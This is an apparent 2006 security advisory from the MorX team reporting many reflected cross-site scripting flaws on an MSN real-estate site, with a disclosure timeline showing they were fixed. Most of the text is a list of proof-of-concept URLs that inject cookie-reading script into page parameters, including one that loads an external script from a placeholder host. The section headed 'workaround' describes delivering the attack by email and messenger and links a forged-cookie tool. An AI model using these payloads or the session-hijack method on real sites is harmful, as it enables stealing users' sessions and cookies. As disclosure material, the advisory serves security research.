msn-xss-galore.txt

`Title: Hotmail/MSN Multiple cross site scripting ( XSS )   
  
Author: Securma Massine  
MorX Security Research Team  
http://www.morx.org  
  
Original Advisory/Xploit : http://www.morx.org/msnxss.txt  
  
Vulnerability : Multiple cross site scripting ( XSS )   
  
Severity: Medium/High  
  
Description : msn.com is suffers from multiple xss which could allow an attacker to hijack web sessions .This vulnerability can be used to gather the victim's cookies,steal his session,..  
  
Proof of Concept/Example of the issue: a great number of XSS (hundred )in http://realtor.realestate.msn.com  
  
they is only some examples :  
  
http://realtor.realestate.msn.com/Default.asp?poe="><script>alert(document.cookie);</script>  
  
http://realtor.realestate.msn.com/websearch/searchresults.asp?searchterms="><script>alert(document.cookie);</script>  
  
http://realtor.realestate.msn.com/Msgs/NoResolve.asp?t=fan&miss=loc&ad=http%3A%2F%2Frealtor.realestate.msn.com%2FFindNeig%2Fdefault.asp%3Flnksrc%3DREALR2LF2C0058%26poe%3D%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E  
  
http://realtor.realestate.msn.com/SiteMap.asp?lnksrc=RDC-NAV-0005&poe="><script>alert(document.cookie);</script>  
  
http://realtor.realestate.msn.com/RealtyTimes/marketconditions.asp?link=http://yoursite/xss.js?open&pID=r.com2  
  
http://realtor.realestate.msn.com/PersPlanOut/ArticleEmail.asp?anm=REALTOR%2Ecom%3A+Real+Estate+101&alnk=http%3A%2F%2Frealtor%2Erealestate%2Emsn%2Ecom%2Fbasics%2Findex%2Easp%3Flnksrc%3DREALR2LF2C0039%26poe%3D%22%3E%3Cscript%3Ealert%28document%2Ecookie%29%3B%3C%2Fscript%3E  
  
http://realtor.realestate.msn.com/FindReal/WhichPages.asp?frm=byctst"><script>alert(document.cookie);</script>  
  
http://realtor.realestate.msn.com/Basics/AllAbout/TypesStyles/Index.asp?poe="><script>alert(document.cookie);</script>  
  
http://realtor.realestate.msn.com/FindHome/NearbySearch.asp?frm=bymlsid"><script>alert(document.cookie);</script>  
  
http://realtor.realestate.msn.com/websearch/searchresults.asp?searchterms=Bad%20Credit&lnksrc=OVER_SRCH_RDC1"><script>alert(document.cookie);</script>  
  
http://realtor.realestate.msn.com/Gateways/MSN/Default.asp?ct="><script>alert(document.cookie);</script>  
  
http://realtor.realestate.msn.com/Msgs/NoResolve.asp?t=fan&miss"><script>alert(document.cookie);</script>  
  
http://realtor.realestate.msn.com/FindReal/WhichPages.asp?frm=byctst""&ct="><script>alert(document.cookie);</script>  
  
http://realtor.realestate.msn.com/FindHome/InterimSearch.asp?typ=1%2C+2%2C+3%2C+4%2C+5%2C+6%2C+7&mxprice=99999999&mlsttl=&mnbath=0&frm=bymap&pgnum=1&st=CA&mls=xmls&mnbed=0&js=on&ct=Orange&zp=&mnprice=0&areaid="><script>alert(document.cookie);</script>  
  
http://realtor.realestate.msn.com/california/nborange.asp?"><script>alert(document.cookie);</script>  
  
http://realtor.realestate.msn.com/Msgs/NoResolve.asp?t=fah&miss=loc&typ="><script>alert(document.cookie);</script>  
  
http://realtor.realestate.msn.com/FindHome/default.asp?mode=MLS&"><script>alert(document.cookie);</script>  
  
http://realtor.realestate.msn.com/FindHome/default.asp?mode=City&"><script>alert(document.cookie);</script>&poe=realtor  
  
and many many other.....  
  
Screen captures: http://www.morx.org/msnx.jpg  
  
workaround: The Hotmail exploit can easily be executed via , e-mails , links ,messenger , attachement.   
you can use this tool to open the browser with fake hotmail's cookie(IE):  
http://www.morx.org/hotcookie.exe  
  
Disclosure timeline:  
07/30/2006 Issue disclosed to Microsoft   
07/30/2006 Response received from [email protected]   
09/05/2006 fix some xss   
09/07/2006 sending to microsoft new list of msn xss   
12/09/2006 announce the fix of all the xss in 24h  
13/09/2006 fixed  
14/09/2006 public advisory  
  
  
Greets: Attitude and all morx team  
  
Disclaimer:   
The author do not have any responsibility for any malicious use of this advisory or proof of concept code. The code and the information provided here are for educational purposes only.  
comments or additional questions feel free to email me at securma_at_morx_org.  
  
  
  
  
  
  
  
  
`